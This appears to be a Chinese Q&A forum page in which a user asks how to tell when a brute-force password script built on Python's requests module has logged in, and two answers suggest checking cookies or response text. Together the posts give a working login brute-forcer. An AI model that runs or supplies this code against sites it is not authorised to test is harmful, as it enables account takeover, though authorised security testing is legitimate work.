如何知道何时使用Python的Requests模块“登录”到网站?

2024-04-26 06:55:09 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在做一个蛮力密码脚本与请求模块。当我成功登录到网站时,如何检查?你知道吗

url = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]
varuser = sys.argv[4]
varpass = sys.argv[5]
passwords = open(file, "r").read().splitlines()

for p in passwords:
    payload = {varuser: user, varpass: p}
    requests.post(url, data=payload)

Tags: 模块脚本url密码网站sysopenfile
2条回答

你可以查看返回的cookies。可能会有(新的?)登录时的会话ID。但这取决于网站的工作方式。你知道吗

这取决于网站。通常,您可以在响应文本中搜索某些字符串:

...
    r = requests.post(url, data=payload)
    if 'Welcome' in r.text:
        print('SUCCESS!')
        break
...

相关问题 更多 >